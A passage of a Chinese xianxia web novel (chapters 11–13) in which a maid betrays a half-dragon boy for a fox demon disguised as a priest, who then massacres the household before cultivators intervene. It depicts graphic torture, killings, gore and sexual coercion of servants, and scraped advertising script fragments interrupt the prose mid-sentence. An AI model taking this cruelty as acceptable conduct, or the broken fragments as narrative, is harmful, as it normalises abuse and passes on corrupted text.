他不再是怪物,他全身都是羽毛,张开手,再也看不见丑陋鳞片,而是长了一双陶蓉喜爱的小鸟翅膀。 他要比过“百灵”,蜷缩在陶蓉的手心下,努力地想比那只鸟更可爱。 她说,那个云朵很像鸡腿。 他摊开手,便费力向天上飞,去捞她喜欢的鸡腿云朵送给陶蓉。 只是他刚捧着和空气似得没有重量的白云,刚准备笑,整个人就跌倒了。 “道长,奴婢做不到。” “小蓉儿,你也见过少爷化形的模样,我知道你不舍得伤他,只是局势所迫,现在已经没时间了,你想要害死府内所有人吗?” 薛丑从床下爬起来,挂在窗户的百灵鸟叽叽喳喳在吵闹。 他一点儿都没听进去,脑子里,都是陶蓉的声音。 半支起的窗户外,漆黑一片。 他却窥见小蓉。 她站在院子门口,她的脸,被一个隐在院外的男人触碰。 薛丑不知道他们在干什么。 只是听那个男人说:“蓉儿,等一切结束了,以后你就是薛府的主人。” 小蓉头低了下头,接过他手中的瓷瓶。 “奴婢只想…离开这里,好好活着。” 11. 廉耻 上午喂了甜糕,陶蓉陪他看了会书。 下午小少爷就现了原形,化成一条四爪蛇妖。 说蛇妖实在不太像。 头上有微凸的犄角,布满鳞片的兽脸有点像狗头,上下两排尖利密齿夹着一条舌头。 不是分叉的蛇信子,至于那不伦不类的四爪,前爪却了两根爪趾。 院落静悄悄的,早已屏退了所有丫鬟小厮。 少女神色平静,没有心疼,也没有多余的自责,掏出一把匕首,朝缩在怀中的“蛇妖”剖出鳞片。 “蛇妖”的身体构造与人不同,她的手落在蛇腹,一直上抚,才终于感受到微弱的心口所在处。 胸口附着的几些鳞片更为坚硬,如摊贩卖的蚌壳温养的珍珠一样,其中的一块鳞片要更为圆润,泛着波光溢彩,更为醒目。 只一眼,少女手中锋利的刀尖就对准了那块鳞片下方,就如挖出深埋在泥土里的宝石,下手毫不留情。 “…嗬” 怀里的“蛇妖”蜷缩,它喝了陶蓉喂得药,已经开不了口。 不偏不躲,如许多次被生母残忍刺伤那般,没有反抗。昨夜所有的希冀和依赖土崩瓦解,只余绝望。 对他好的人,又一次背叛了他。 施舍给他在人世间仅存的温情,撬开了他封死的心窗,最后在他百般信任之际,下手比之前的人,还要狠毒。 刀尖有了钝口,而他心口最坚固的鳞片与心脏紧密相连,没有丝毫损伤。 如果继续,刀刃仍无法真正伤到薛丑,他不会死,她只能放弃。 就如之前很多次一样,心口还在跳动,给他足够时间舔砥伤口,自我疗养,依旧能活着。 最糟糕的不过如此。他望着陶蓉,暗暗想着等今天过去,就当做什么事也没发生,小蓉会不会继续对他好呢? “少爷,你把心口这块鳞片给我好吗?” 可它听到她温和的声音。 她好像是真想要他死。 这些天,她陪他吃饭、玩耍、看书、讲故事……也是这样轻声细语哄的。 “薛丑,你是妖物,可我就算被你咬伤,差点死了,却还愿意关心你、对你好。因为你,我受了很多惊吓,一直都没有睡过好觉,现在也是,又是因为你,一切都毁了……” 匕首撬不出鳞片,少女红着眼,语气放软:“小少爷,就这一次,你也为我做点什么,你把鳞片给我好不好?以后我就真心对你……” 护心鳞片的重要,是刻进骨血里的。 从生下来到现在,他就是靠着这东西,支撑到现在。 即使所有人不喜他,但只要不曾对人抱有念想,便也无法真正伤害他。 像从缝隙中钻进来的虫子一样,那般渺小,即使被捏断了后足,却也要拖着残破的身躯躲开危险,钻入小孔里,在痛苦中继续维持小小的生命。 虫子们,从来不会一动不动安静等死。 所以他活到现在,幸运地等到了陶蓉。 可是……人都一样的。她甚至还不如一开始,就把刀刺向他。她还不如一开始就和那些伤害他的人一样,骂他“怪物”、“恶种”、“煞星”、“妖”…… 那样,他就能狠狠咬死她。就不会到现在,还想要缩进小蓉的怀里,求她心疼他。 少女眼泪滴在小薛丑的兽身上,刺的他那处渗血的伤口更疼了。 现形的“蛇妖”最终闭上眼,黑爪对向自己的心口,靠着最后一丝力气,连带鳞片下的血肉,亲手剜出来。 * 鳞片流光溢彩,染着血迹,还散发着磅礴气息。 就连凡人陶蓉,都感受到了。 她屈膝跪着,换了一件洁净的衣裳,低眉顺眼,不容自己生出半分后悔来。 包袱昨夜就已经准备了,她现在,只想逃离薛府,有多远,躲多远。 “道长,奴婢已经办好您的事,奴婢的事……” “不急。” 道士盯着手中仙气浩瀚的龙鳞,勾了勾唇。 至此,他的任务已经完成,带着伤重的小少主回到妖界,铲除异己,辅佐上位就行。 少主乃扶摇仙子与妖王诞下之子。仙子已死,蛟尊自毁,曾经连仙门都要敬畏的妖界,早就堕于三界末流,沦落到魔族侵占、随意踩踏的对象。 甚至,高高在上的仙门打着“斩妖除魔”的旗号,蠢蠢欲动,多次把妖族逼上绝路。 妖界腹背受敌,水生火热,许多无力自保的妖族被迫逃往人间躲祸。 诺大妖界,几位长老只能将希望寄托在仙妖血脉的小少主身上。 少主便被扶摇仙子封印百年,而今,玉霖用了乾坤扭转之术,隐秘地让少主在人间降世,可此子无好战之心,反倒和扶摇仙子性子如出一辙,慈悲过盛! 现在,那被人人称为“怪物”的少主,遭父母厌弃伤害,被下人欺凌辱骂,好不容易再次信任凡人,却遍体鳞伤,连人性都维持不住。 “哈哈哈哈哈” 陶蓉抬眸,眼见着“仙人之姿”的道士神色狰狞,笑容猖狂肆意。 “小蓉儿,我原以为你会犹豫着不敢下手,没想到,你下手倒是快。” 青年眼神锐利,含着淡淡讥讽,居高临下服侍脚下的小丫头:“人性自私,利己之心,无所不用其极,你也如此。” 他修长如玉的手慢慢掐住了少女纤细的颈脖,只需一息,便能断她性命。 他本觉得,眼前这丫头还善良,毕竟真心相待,才能为之动容。 所以他隔几日就喂她符水,想着最后用妖术控制她,没想到她下手倒是快准狠。 “道长……我也不想如此,可我就是一个凡人,请饶我一命……” 颈脖处的力气渐渐加重,陶蓉心沉入谷底,这狗道士说话不算话。 死死盯着眼前如看蝼蚁一眼鄙视她的目光,淬毒地恨意如潮水般涌出。 若是有的选,谁不想做个善良的好人? 什么人性自私,无所不用其极,他为了得到那一块鳞片,不也一样下作吗? 他不是看中了薛丑的根骨,虽真实意图无法看透,但也知道这狗道士是要借她的手,得到薛丑的鳞片。 整个薛府,并 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 不如想象中简单,眼前的道士,更像个披着人皮的妖。 他喂她很多次符水,甚至昨夜,让她喝了符水,再指使她给薛丑下药。 她顺理成章为他办成了此事,各取所需。 都是一样恶毒的人,这道士怎么好意思说她自私? 玉霖单只手扼住她的纤弱颈脖,起了杀心后,滚热的泪水却啪嗒滴在手背。 “…”他一滞,快慰狞笑的面色有一瞬怔然。 手下能明显感受到少女颈脖微弱跳动的动脉,力量悬殊,若是他再稍稍用力,很轻易就能了结她的小命。 “阿…”少女嘴唇微张,泪水泛出,明显还想说什么。 突然觉得无趣,渐渐松了力气,冷淡看着她。 “你还有话要说?” 少女点点头,频频咳嗽,脖颈已有一段青紫掐红,小脸涨红,目光幽怨。 玉霖眼翼轻抖。 他抿唇,等待她的下文。 少女扯住他的袖袍,跪坐的上身慢慢贴近。 唇瓣凑近青年唇角的时候,他觉得这死到临头的丫头真是疯了。 冷冷垂眸,少女恰好紧闭双眼,纤长羽睫颤着,泪珠落下,如赴死的壮士。 唇瓣柔软,尚且温热,她面容秀气,眉眼还有少女的几分青涩稚气,这般温软落泪的模样,莫名含了几分惑人。 她身上,散发淡淡甜香,淤青的脖子下,衣领交叠,肌肤莹白。 他神色淡淡,无动于衷,睨着她的小伎俩,俨然在看一个死人。 很明显,眼前的这丫头,想勾/引他。 作为狐族长老,他攻于心计,多年清心寡欲,只除却上次,少女中药,一路隐忍,生生划破掌心,才令他几分意动。 可她那时推开了他,今非昔比,眼前的丫头,和其余凡人没什么不同,甚至为了保住区区小命,下手更为恶毒狠厉。 他早已冷静,回想那时,觉得自己也只是头脑发热才会如此。 濒临死亡的恐惧被陶蓉压下,少女耳根微红,生涩轻咬住他的唇,学着品尝佳肴的样子。 青年气质冷冽,活像一尊木讷石像,却并未阻拦,默然看着眼皮底下作怪的凡人丫头,眉眼讥讽,心下生出几分好笑来。 少女探入唇齿,主动殷勤,泪水滚落,身子发抖。却已灵巧解开腰带,衣襟敞开,直白露出藕色肚、兜。含苞欲放,秀色可餐。 他眼神微变。 “够了。” 青年退后一步,呼吸不稳,扶住猛跳的额角,脸色不太好。 贪生怕死的鼠辈!为了豁出去,羞耻心都不要了。 他真是头一次碰到这种没脸没皮的丫头! “道长,真的不要吗?我可以的。”少女咬唇,色泽嫣红,水汪汪的杏眼噙着许多泪花,楚楚可怜的目光紧紧追随着他,指尖慢吞吞动作。 “……”玉霖咬牙,眼神一烫,莫名被逼出几分无奈来:“行了,你先在这待着,我去把府内事宜了结,到时候就放你出府。” “谢谢道长。”少女停住手,唇珠紧抿,卑躬屈膝向他道谢。 12. 真容 护心鳞被拔,又喝了陶蓉亲手喂的药。 玉霖去时,化形的小少主便奄奄一息躺在榻上。 他配置的药,服用后见效很快,全身出血,痛不欲生。 即使如此,也只是为了给小少主长个记性,让他记住遭人背叛的疼,最好对这凡界人族,也一并痛恨憎恶。他这药实际伤不了根骨,养一段时日就会好。 小蛟龙睁着一双兽眼,绝望盯着门口。 那是陶蓉最后离去的方向。 狐族长老白玉霖挡住蛟龙的视线,轻声叹息。 从被陶蓉第一次喂药时,他就应该防备她,可还要一而再再而三自愿被骗,这般蠢笨的少主,真是怒其不争。 总算这些年的心血没白费,白玉霖可以带着少主回妖界向其他长老交差。 他挥袖,黑色小蛟龙全身泛起淡淡幽光,正欲被他纳入法宝时,小蛟龙瞳孔一动,看向笼中鸟。 “欸。” 连同那叽喳的鸟,最终也被白玉霖一同收纳。 剩下的,便是要清理整个薛府了。 * 凡人的心脏,腥味重得很,对狐妖来说,助长不了多少妖力,只能算是打打牙祭。 但聊胜于无。人族亦是狡诈险恶,这些年妖族势弱,不少无辜小妖被掌握权势的人族豢养残杀,白玉霖喜好看凡人垂死之际恐惧胆寒的眼睛,乃至于那血淋淋被他掏出心脏,都变得几分鲜美。 薛府上下,余二十来人。白玉霖先去东院。 近来,他没有再带新的少女入府,府内的丫环人数锐减,主屋日日传来女子受辱惨烈的哭喊声,盖住屋外的动静。 他背手进了主屋,便见两具伤眼的白.花花躯体,那险些玩得精,尽人亡的薛府老爷停了动作,泡肿浑浊的双目转过头,丢了折磨人的银针,下了榻,不悦开口。 “道长,这婢女一个比一个次,您什么时候再多去寻几个年轻漂亮的丫头?” “没了。” 薛老爷瞪圆了眼:“你这是什么意思?当初不是说好…” 五指抓来,薛老爷一双死鱼眼翻了眼皮,床上还留着一口气的丫鬟看过来,便见薛老爷后背赫然贯穿了一只野兽的利爪。 唇角嗫喏,她还想说什么,屋内妖风袭来,道士衣袍猎猎,发带飘曳,鞋尖早已碾烂薛老爷的心脏。 “污秽。” 与此同时,贴着屋门守着的家丁,倏地倒地,拖出长条血色。 整个薛府,都被隐藏妖气的宝器困住,逃不出去,一只苍蝇也飞不进来。 白玉霖又杀了几个逃窜的下人,不多时,他推开了另一扇屋门。 是病重的薛夫人所居。 小少主就是借着她的肚子,降生在人间。 屋内弥漫着苦药味,薛夫人自生下薛丑,始终不见好,以为是怪胎儿子自带的祟气所害,特意请道士入府除祟,可还是药石无医,只有偶尔才能下榻。 “…”形容枯槁的女人,三个月前还能开口,如今喉咙被毒哑,一开口什么话也说不出来。 女人只有不断落泪,纵使眼睛布满血丝,泪水流干,却无济于事。 这么多年,她畏惧怨恨她生下的怪胎儿子,可每一次神智不清、不受控制去伤害薛丑,她都觉得后怕。 虎毒尚不食子,薛夫人从前性格温婉,连杀生都做不到,如今府内一切变样,包括对她相敬如宾的丈夫薛老爷。 她将一切都怪罪在薛丑身上。三个月前又拿着刀子去西屋刺伤薛丑,砍下儿子的手指后,她却觉得自己是疯了。 回来后在病榻上回神,满脑子却都是小男孩安静地躺在地上,连个反抗都没有。 薛夫人有一瞬清醒,她从未觉得自己如此阴毒陌生。不远主屋内传来她丈夫折磨婢女的淫/靡声,丈夫变了,府内的下人也全部换了样,再没尊重过她这个府内女主人,甚至那个外表如谪仙的除妖道士,在府内待了将近八年,却还是让她的儿子被禁闭在黑屋。 府内周遭的人与事都变得诡异,甚至从前来探望她的娘家人和交好的姐妹,也没来看过她。 整个薛府,像是被真正的怪物飱食腹中,她隐约察觉什么,撑着病体去了西屋,结果一切已经来不及了。 她昏倒在西屋的院子,被重新抬回,醒来,她发不出声音,那个仙风道骨的道士,则笑吟吟站在她床边,面上恭敬,眼中却皆是冷意。 “夫人勿要出屋,好生等死便是。” 屋外,丫头家仆惊喊救命,个个想逃。整个薛府却皆被封锁,有个机灵的小丫头逃到她这偏僻的院子,还以为能躲过一劫。 结果被化为狐爪的假道士捅.穿的心窝。道士来到了薛夫人的屋子里。 她从床榻上滚落在地,不消一瞬,鲜血飞溅。女人死不瞑目抓着假道士的脚腕。 她张口,“啊”了半会,泪水冰凉,想乞求什么,却被一脚踹开。 妖道仍在笑眯眯俯视她,清冷面容戾气深重。 “薛夫人,您想叫救命,还是喊小少爷?欸,都来不及了。” * 外面哭天喊地的声音断了。 诺大的薛府陷入死一般寂静。 陶蓉安静缩在角落,故作镇定。 一道不疾不徐沉稳的脚步声。 是玉霖道士来了。 门一打开,她便扑了上前,松松垮垮的衣襟半开,香.肩露出,少女梨花带雨,唇色艳丽,将尚且清秀姿色渲染得十分十柔弱可人。 “道长,我没有出去,什么也没听见,就一直在屋内等您。” “什么也没听见?” 道士用妖术洗涤了衣着上的血渍,但周身弥漫的血腥味却经久不消。 他低头浅笑,抚摸少女的脑头,墨色瞳孔几分猩红暗色拂过,方才悸动的心早已冷却。 一刻钟不到,府内三十余人,皆已毙命。斩草不除根,春风吹又生,虽然眼前的凡人丫头日后也成不得什么气候,只是留她一条命,总归芥蒂。 人间的情情爱爱,都是虚妄,更何况这丫头自私歹毒,现在乖顺,却也不是真心爱他。 想了想,他还是觉得不该留。 陶蓉一抖:“我什么也没听见,什么也没看见,道长,您刚才说过,会放我走的。” “是啊,你紧张什么。”他修长指节寸寸拉长,干净的指甲也陡然变了样,又长又尖,堪比刀刃。 直接戳.入少女故意咬的充血的粉唇内,一通搅.动,怀里的少女强忍着,最后绷紧下颌无助仰头,唇齿张大,内里皆被刺破,舌头也不放过。 白玉霖眸光微闪,慢慢抽了手,目光游移,心如止水扫过少女纤弱美丽的身.躯,她的脖子还缠绕着他留下的暗痕,最后,狐妖的目光定定落在少女的心窝。 头一次,他想细细品尝凡人的血肉。 藏匿在凡间这么多年,因为怕引来魔族和仙门的觊觎袭杀,他躲在薛府内也极为小心谨慎,假扮道士,隐忍至极。 可现在,他即将带领回妖界,布在薛府的宝器也从未泄漏过他一丝一毫的妖气。 他难得松懈,甚至生出几分愉悦。慢慢解开少女半边肚.兜,俯身温柔去亲她心口。 少女在怀里瑟瑟发抖,细弱颤栗的嗓音如风中摇曳的小草,她又惧又怕,却无力抱住他的脖子。 “道长,我…我不紧张…您说过,等结束了,就放我出去。”
'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 虽然狐妖言而无信,但命如蝼蚁的小凡人没得选,最后一次,相信了她曾经爱慕的道士。 白玉霖回抱着她,勾了勾唇角,面色柔和,眼神幽深,却是对准她的心窝,狐妖尖牙刺破滑嫩的肌肤,贴入心口,吸取她的心头血。 狐妖双手现出了原形,他的一双化为皮毛的利爪经过妖力锻造,无比锋利,托起少女显得娇小的身躯,悬空抱起她,他一边贪婪吮.吸,爪尖却从少女背后刺破身躯。 杀了那么多人,这是他最温柔亲和的杀人方式,毕竟,陶蓉这丫头,身子从头到脚,都挺漂亮,她的性子,也挺得他喜欢。 钻的疼无法言喻,少女如破破烂烂的娃娃,千疮百孔,她呕出一口血来,心如死灰,目眦欲裂:“你…又骗我!” * “大师兄,你到底察觉到了什么?为何如此紧张?” 粉衣少女不太稳健地踩在凌空的灵剑上,一道流光却已极快闪过,冷峻剑修早就俯冲而下:“暂未可知,搜妖罗盘有异动,大家警觉!” 脚下,是凡人一处幽静的府邸。 俯视下望,平平无奇,半点风吹异动都无,察觉不出任何妖气,要若平常历练弟子,一眼扫过便忽略了。 而今,府内太过安宁,甚至连半个活人气息都难以察觉。 沈长皓手中是去年在秘境中新得机缘仙宝,比宗门探查妖气的宝器都要敏锐,此时罗盘转动,对准的方向正是脚下府邸的方向。 提起一丝灵气探.入凡人府内,泥流入海,无法感知。 “大师兄,我们快去前方除妖吧,这小小府邸没什么好看的。” 少女撅嘴,她年仅十六,初次跟着大师兄下山历练,本是大展身手的好时候。 结果大师兄金丹期的气息太强,一路来偶尔能碰到几个小妖小精怪,可他们还没有靠近,那些小妖全都躲得远远的。 他们仙门立足于正道,肩负着维护天地正义的使命。而妖魔皆为恶,正邪不两立,妖魔,就是该铲除干净的。 沈长浩收回罗盘:“不,此处应有大妖,各位师弟师妹,你们在布好锁妖法阵,我先下去探查一番。” * 身上瞳孔赤红的假道士松开了陶蓉。 陶蓉隐约辨别出眼前这道士是什么玩意。 利齿,兽爪,吸血兴.奋之际,脑袋隐隐约约露出几分狐狸头的影子。 多可怖,多可恶。 陶蓉气息微弱,被抛入地上,狐妖脸色一变。 “仙门弟子?” 他拂袖,面色凝重,没再看濒死的陶蓉一眼,转身便走。 身后都是大大小小的血口,胸膛虽然心脏没被掏出,但也布满好几个血淋漓的牙洞。 陶蓉知道自己要死了。 可她不甘心。 以前再苦再饿,都没杀过人,熬了过来。 可现在,没保住自己的良心,动手给那个傻少爷下毒,骗得他的鳞片,色.诱道士……她做了这么多,现在自己还这么惨。 怎么这样啊。陶蓉虽然后悔,但她觉得自己这般“努力”,就不应该是这种下场。 少女衣不蔽体,浑身染血,她意识模糊,慢慢合上眼,如无意外,等血流干,身体凉了,她约莫会在这慢慢断气。 可屋外燃起熊熊大火,呛人地浓烟漫进,直熏得少女鼻涕眼泪都往外流。 好个冷血狠厉的狐妖!离开时怕她没死成,还特意放了一把火烧死她,彻底断她绝路! 要是假道士没放那把火,陶蓉觉得,就算了。咽下那口郁气,早点死,下辈子投胎做个被父母千娇万宠的小姐。 可现在,少女就算化成厉鬼,也不甘心! 13. 黑化 白玉霖在人间八年从未出过差错。 独独此时关键时机,出了问题。 府内都是东倒西歪的死尸,府外如何看,都瞧不出异常。 可现在,他往前走了几步路,便见一白衣青年闪身袭来,澎湃剑意直冲面门,势不可挡。 白玉霖闪身退开,心下一沉,道袍随风飘扬,他抬脚点在石墩之上,眉目冷沉。 “阁下可是仙门弟子?在下乃是神隐观道士,今日在此除妖,都是道士,为何动手?” “哼,妖物,你屠戮数十条凡人性命,穷凶极恶,罪不可恕。” 对方祭出小型罗盘,仙气涤荡,白玉霖定眼一看,竟是不世出的仙宝!那再如何隐匿的妖气,仙宝也能察觉。 他隐隐有些恼悔,若是方才快刀斩乱麻,动作麻利一些,亦能躲过这个仙门弟子,少惹是非。 对方仙门弟子金丹初期修为,手中的灵剑气势汹汹,并非从前遇到的那些寻常弟子所能比拟的。 白玉霖皱眉,他好歹算是狐族长老,活了三百年,虽然称为谋士,但对战二十来岁的仙门小儿,也不在话下。 只是对方年纪尚轻,却骨相出奇,有如此资质修为,想必在仙门亦是有身份的,或许还是某位仙君之徒。 而且他遍布整个薛府的妖器再次波动,还有八九个仙门弟子包围了府邸,甚至布起灵力法阵,意为困住他。 “呵。”白玉霖冷笑,此战难免,眨眼之间,心下已有了思虑,也不再隐藏,全身妖气暴涨,威压远胜仙门弟子。 执剑的剑修面色泠然,对方势力强悍,比想象中还有对付。两股力量抗击,空气中刮起的妖风直扑而来,凝为数道银色的弯刀利刃,剑修以剑抵挡,刀刃却以迅雷不及掩耳之势斩断他一缕发尾。 剑修毫无退意,凝为实质的剑气化为数柄小剑,他借力一蹬,朝大妖攻去。 * 陶蓉小腿灼烧,她回头一看,右腿已经焦黑,类似烤熟的肉食,还闻到了焦香气。 饿的时候,如果撕开那块烤熟到没有知觉的血肉,可以用这种方式裹腹。 她对疼痛已经麻木,拖着被火燎的右腿,一步一步往外爬。 上天还是眷顾她这种命贱命硬之人。 刚爬出来,身后的屋子房梁轰然倒塌,如果她再爬慢一点,那房梁或许已经压在她身上了。 陶蓉爬着,拖了一地血迹,血迹在大火的炙烤下很快就变得干燥。少女毫不在意笑了笑,唇色惨白,眼神孤冷,她摁住伤势最致命的胸口,另一只手继续爬。 越过几具淌血的尸体,是薛丑从黑屋出来那日,道长派来的两个小厮,前方横陈着其余的小丫鬟,都被掏空了心脏,睁着了无生趣的眼珠子,惨不忍睹。 还有那两个护卫,有一身好功夫,这么多年对道士唯命是从,却又如何呢?身体被各自佩带的大刀钉入门上,死不足惜。 陶蓉咧嘴笑,浑浑噩噩,磨破的手指停住,她不再继续动作,只是死死盯着头顶打斗的两个身影。 身后是倒塌的房屋,火势从周围蔓延开来,而头顶,那个该死的妖道,此时腰.后化出一条长条白尾。 他不久前经过一场打斗,身上受了伤,肩膀和脸上都有被锋利剑刃划破的血痕,但尚且游刃有余,尾尖高高竖起,从身后探出来,和个毒蝎子似的,将一个陌生男子手中的青剑震飞,剑则掉落在残花泥地里。 勒住颈脖,白玉霖的五爪穿透男子的腹部。一息之间,胜负已分。 “大师兄!” 只见天际不知何时闪出几道御剑仙人,破开妖术御剑而下。其中一个秀美绝伦的粉衣仙子丢出腕口的手镯,手中结印,精巧打造的银色手镯无限放下,成了法器,与其余仙门弟子放出的灵剑齐齐逼向狐妖。 “灵玉师妹,小心!” 白玉霖松手,躲过缚妖环,甩开气息奄奄的剑修弟子,长尾一扫,裹挟杀意,拂向粉衣仙子。 谁知对方头上出其不意闪出一枚灵簪抵挡,灵光大盛,闪的那狐狸眼缩了缩。 府外布了困住他的法阵,一时之间,难以破除。 白玉霖飞快躲闪,欲要遁地逃行。 头顶的这些个仙门弟子身怀法器,其中那位粉衣少女携带的灵宝更是不俗。 在这三界,有被天道宠爱的气运之子,听闻清云宗的掌门之女苏灵玉便是其中一个。 娘胎呱呱降生后,头顶降下甘霖,仙鹤盘旋,不同凡响。 从小气运加身,几次误入险境,却总能机缘巧合遇到机缘,不仅得到上古凤凰之血,还得到仙器碎片和高深莫测的异宝。 他已经重伤了一位仙门剑修,继续打下去,虽然力量可敌,可妖界这些年不仅势弱,天材地宝也匮乏得很,这是没办法的事。 他也没几个保命的妖器,就怕被对方丢来的异宝暗算。还带着小少主呢,攥着妖界未来的荣辱,长计远虑,绝不能在此地白白丢了一条性命。 他瞥了一眼地上狼狈的陶蓉,眸中闪过一丝讶异。没想到,这半死不活的丫头硬生生从大火中爬了出来。 少女躺在地上一动不动,瞧着和死尸一般,只进气不出气。 他一笑了之,没再给予多余的目光,在仙门弟子速度远远不及他之时,遁地逃行。 只是,泥地里却猛地窜出灵剑,趁其不备,暗刺一剑。 刺得正好是白玉霖的胸膛。 “…”狐尾如铁掌,砸向地面时,石块和泥土全部裂开,喉咙腥甜,白玉霖吐出一口血来,气势弱了。 剑意留下的伤口,最难疗愈。 白玉霖瞳孔血红,迟了一步,头顶的仙门弟子已经将他团团围住。 他没说话,冷冷扫过一众仙门弟子,神色阴戾盯着地上的剑修,不怒反笑:“你,剑炼得不错。” 此人果然不可小觑,被重伤后,没想到还能给他一击。 他真是低估仙门这些后起之秀。 陶蓉也不爬了,也不躲了,死死捂住几个牙洞的心口,冷眼旁观着被袭击的道士。 已经可以确定,这甩着一条大尾巴的假冒狗道士,是狐妖。 狐妖眼神锁定在不远处那个脱力的青年身上,隐忍过度,也没了耐性,他对仙门的弟子彻底起了杀心。 可旋即,粉衣仙子挡在青年跟前,抬手之际,手中的红绫攻向狐妖。 狐妖受了伤,杀红了眼。偏偏那粉衣仙子袖中法宝众多,以及周围弟子的剑刺,妖物已然位于下风。 电光火石之间,狐妖被一个仙门弟子从背后捅.了一剑。 诛妖嘛,讲究的就是一个齐心协力,见缝插针。 穿着道袍的狐妖眨眼又被捅了两剑。 他滚落在地面,胸膛被偷袭的伤口太深,他一时没了招数,狐狸尾巴软.趴趴垂下,就在陶蓉不远处。 少女笑了,她脸色灰败,全身都在发凉,却又兴奋地在发抖。 余光一侧,是仙人落在地上的青剑。 她抬起那只被地砖磨烂的手心,握紧青剑,朝狐妖走去。 “这……这凡人要做什么?她疯了吗?”仙门弟子俱是一愣。 凡人少女衣不蔽体,单薄外衫半垂在胳膊上,藕色肚.兜侵染着干涸血水,浑身血污,只有偶尔几处肌肤可以瞧得出几分白来。 她如同一个从死人堆爬出来的死尸,又俨然像一个复仇的厉鬼,摇摇晃晃,淌血面容殊丽冷艳,提着剑柄,一步步走向那个依旧令人忌惮的狐妖。 唇齿都是被狐狸爪子割破的伤口,舌头也被刺穿,陶蓉已经难以张口,怨毒的看着假道士。 白玉霖眼有异色,复杂瞧着提着剑强撑最后一口气的陶蓉,心口升起半分讥笑,又提起几分难以言状的波澜来。 “…你”他刚要开口,却瞳孔一震,随即溃散。 眼前的人,握着剑,带动全身的重量,没有任何迟疑提剑倒下,却毅然决然斩断了他的狐尾。 白玉霖也被砍过尾巴,却从来没受过这样的羞辱。 他竟然被命若游丝的小凡人,砍断了一条狐尾! 少女压.在他身后,手又动了一下,似乎还不死心要往他腰身的伤口里戳。 狐尾是白玉霖珍贵的一条命。 含恨看了一眼还压在身上的少女一眼,任她的手在他的道袍里胡乱刺.入,他已经没有了反抗的力气。 大意,真是大意! 狐族长老只得弃了依存一尾的分身,亦不再看剑下的狐狸尾巴。 一缕游魂趁着所有弟子未注意之际,像是夹着尾巴的兽,小心翼翼带着少主动荡不安的魂魄,逃了。 * 狐妖已经死了。 化为狐狸兽形,被道袍盖着,早已绝了气息。 粉衣少女苏灵玉松了一口气。 她喂给沈长皓上品灵丹,和人将他扶起,看向地上的尸体。 “刘师兄,你近身看看,那狐妖真的死了没,断不能留下生机。” 名叫刘腾的弟子仍有些忌惮的走了过去。 此狐妖修为在金丹初期以上,掌门首席大弟子沈长皓都不是这狐妖的对手,想必也是活了好几百年的高阶大妖。 虽然狐尾被斩,但很可能留有后手。 用剑尖挑开染血的道袍,他却看见一个没有任何气息的白狐畜.生。 “呵,真死了。” 刘腾蹲下身,眼疾手快,笑眯眯挖出狐妖的高阶内丹,率先丢进自己的芥子袋中。 高阶妖丹很稀奇,交给宗门就能换一瓶中品灵丹。 像他这种没啥机缘的小弟子,先到先得,可不要下手快些。 其余弟子也慢慢上前,正要好好清理瓜分一下这道士携带的其余法宝,谁知道压在道袍脚边的凡人少女突然动了。 “这!”众人又皆是一震。 是的,陶蓉没死。 她慢慢拢好自己垂落的肚.兜和外衫,压下痉挛的身子,伏倒在地,盼望崇敬地恳求这些她素未见过的仙人们。 这些仙人白衣飘飞,一身 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 正气,和那个假道士不同,是真正的神仙。 小时候也闹过一次水灾,那时候她就听闻,有一位仙人出现在邻村,顺手救了好几个险些溺亡的小娃娃,还带走一个有灵根的小男童,修仙去了。 “各位…仙长,小人命悬一线,刚才帮忙除去狐妖,可否…赐给小人一颗仙丹,救小人一命。” 陶蓉命衰,从小霉运缠身,如今遇到斩妖除魔的仙人,她也从狐妖口中拼死活下来,这或许,就是她得到机缘的开始。 在真正的仙人面前,她沐浴仙人的灵气,甚至想要忏悔。 薛丑,被她亲手毒杀。 可谁知,不远处的粉衣仙子却是蹙起秀眉。 “师兄,这府内的凡人都死了,唯独这全身重伤的女子存活,看着……极不对劲。” 陶蓉惊愣抬眸,却见清丽仙子没有丝毫怜悯,目光怀疑的将她上下打量后,有些反感地移开了眼。 她嗓音甜美天真,带着她自己的推断,说出来是绝顶的残忍。 “衣不遮体,伤风败俗,周身都裹着狐妖的气息,我瞧着,她不太像普通凡人,更像是狐妖豢养的人奴。” “……”陶蓉怔忡,无力遮住自己的身子,艰难跪倒:“仙子冤枉,小人只是府内丫鬟,只因狐妖假扮道士……” “够了。” 少女已然收回目光,祸乱人间的大妖已除,在她眼里,地上那个凡女不算隐患,更没必要浪费她的时间了。 担忧地望着身边昏迷的沈长皓,少女有些红了眼:“大师兄伤势太重,我得先送他去附近的客栈给他治愈,各位师兄,这个府内几十口亡魂,还请你们帮忙度化。” 仙门弟子修习过度魂术,以便遇到那些惨死的魂灵,好生安抚度化。 而在苏灵玉走后,却有弟子叹气。 府内死尸太多,度化要损耗好些灵气。 几些弟子转身,陆续去往府内各处寻找死尸。 唯独那个叫刘腾的仙门弟子迟迟未动。 他蹲在陶蓉脚旁,视线流连在凡人女子玲珑有致的身子上,最终落在她的脸上。 陶蓉心如死灰,跪在地上,染血睫羽低垂。 定定看着泥土内的碎草屑,再没有反应。 “喂,你叫什么名字?” 少女未答。 刘腾皱眉,挖过狐狸妖丹的剑尖直指少女。周围已无同门,他便无所遮掩地用剑身拍打少女的脸颊。 倨傲不逊,鄙夷轻视。 “本仙在问你话。” “小人……”凡女嗓音嘶哑,宛如歌喉唱破,泣血夜莺。 “小人名叫冬儿。” “冬儿?俗气的名字。”刘腾轻笑,剑尖下移,落在少女环臂的胸.前。 那处,他不久前瞧了好几眼,有很多牙印,却实在娇.嫩丰.盈。 “松开。” 少女微微一抖,这,就是仙人?这种人,也能修仙? 陶蓉闭眼,与狐妖之仇已然得报。 没想到,她还要受这种屈辱。 死死抱紧双臂。 “仙长尊名叫什么?”她哑着声问。 “你这小奴,也配知道本仙的名讳?” 男人不屑,刚想挑断她的手筋,谁知身后同门弟子已经折返回来了。 “刘师兄,那些死去的凡人都被挖了心,怨气太重,我们度化很是艰难,不行啊。” “那就算了。” 刘腾收剑,起身,本欲带领众人御剑离去。 却又不甘心地回头看了陶蓉一眼。 那一眼后。 